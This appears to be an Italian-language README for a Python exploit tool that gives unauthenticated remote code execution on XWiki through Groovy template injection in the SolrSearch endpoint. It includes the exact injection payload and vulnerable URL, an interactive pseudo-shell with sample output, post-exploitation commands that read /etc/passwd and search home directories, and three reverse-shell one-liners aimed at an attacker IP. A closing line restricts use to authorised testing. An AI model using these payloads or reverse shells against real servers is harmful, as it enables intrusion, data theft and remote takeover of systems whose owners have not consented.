
Esecuzione di codice in remoto non autenticata in XWiki tramite la macro SolrSearch
Un exploit Python per la vulnerabilità di Server-Side Template Injection (SSTI) di XWiki tramite iniezione di template Groovy nell'endpoint SolrSearch.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
Questo ti fornirà una pseudo-shell interattiva in cui puoi eseguire comandi:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: URL del target (obbligatorio)-c, --command CMD: Esegue un singolo comando--test: Verifica se il target è vulnerabile--no-verify-ssl: Disabilita la verifica del certificato SSL--debug: Abilita l'output di debugRaccolta di informazioni:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
Trova file interessanti:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
Informazioni di rete:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
Avvia una reverse shell:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
L'exploit utilizza la seguente struttura del payload SSTI:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
Il payload viene codificato in URL e inviato all'endpoint vulnerabile:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
Il server elabora il template Groovy ed esegue il comando
L'output viene catturato dalla risposta del feed RSS nel formato:
search on [}}OUTPUT]
L'exploit analizza la risposta HTML per estrarre l'output del comando
xwiki (uid=997)/usr/lib/xwiki-jettyQuesto strumento è destinato esclusivamente a scopi educativi e di penetration testing autorizzato. Usalo solo su sistemi per cui hai il permesso di effettuare test.